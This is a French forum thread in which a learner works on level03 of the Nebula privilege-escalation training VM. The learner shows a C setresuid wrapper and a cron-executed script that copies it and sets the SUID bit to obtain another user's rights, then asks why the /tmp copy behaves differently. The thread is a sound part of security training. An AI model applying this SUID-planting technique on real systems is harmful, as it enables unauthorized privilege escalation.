Pages : 1
#1 Le 11/06/2014, à 12:28
- guillaumec38
getegid et geteuid
Bonjour à tous !
Afin d'accroitre mes connaissance sur Linux, je fais des challenges d’élévation de privilèges, plus particulièrement sur la VM nebula dispo sur http://exploit-exercises.com/nebula.
Je bloque sur un point, relatif au SUID.
Je bosse sur le level03, que j'ai terminé, mais je souhaite préparer un Shell qui se lance avec les droits d'un autre utilisateur. Pour faire simple, sur ce challenge, la crontab de l'user flag03 exécute toutes les 3 minutes les scripts présents dans le répertoire /home/flag03/writable.d et les supprime (un grand classique des sites de challenges).
Je commence par compiler le code C suivant :
vi shell.c
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
printf("gid : %d\n",gid);
printf("uid : %d\n",uid);
}
gcc shell.c -o shell
J'obtiens donc un shell avec comme propriétaire : level03:level03.
vi /home/flag03/writable.d/routine
cp /home/level03/shell /tmp/shell
chmod +s /tmp/shell
cp /home/level03/shell /home/flag03/shell
chmod +s /home/flag03/shell
La crontab passe et m’exécute ce code en tant qu'user flag03 (celui dont on vise les droits).
J'obtiens donc le même exécutable, avec les même droits, dans le dossier home de l'user flag03 et dans /tmp.
A l’exécution :
level03@nebula:~$ /tmp/shell
gid : 1004
uid : 1004
level03@nebula:~$ /home/flag03/shell
gid : 996
uid : 996
level03@nebula:~$ ll /tmp/shell
-rwsrwsr-x 1 flag03 flag03 7321 2014-06-11 04:00 /tmp/shell*
level03@nebula:~$ ll /home/flag03/res
-rwsrwsr-x 1 flag03 flag03 7321 2014-06-11 04:00 /home/flag03/shell*
Pourquoi les valeurs sont t'elle differentes ? Ou chercher ? Je bloque totalement la ..
Je precise que je pense avoir bien compris l'utilisation du SUID.
Merci d'avance !
Dernière modification par guillaumec38 (Le 11/06/2014, à 12:31)
Hors ligne
#2 Le 11/06/2014, à 13:09
- guillaumec38
Re : getegid et geteuid
J'ai l'intuition que /tmp est protégé et retourne l'uid qui l'arrange. J'ai trouvé sur le net des réponses a ce challenge qui utilisent des scripts posés dans /tmp. Quand je teste leur méthode, cela ne marche pas (a cause de l'uid !).
Une idée sur le genre de protection utilisée ?
Hors ligne
Pages : 1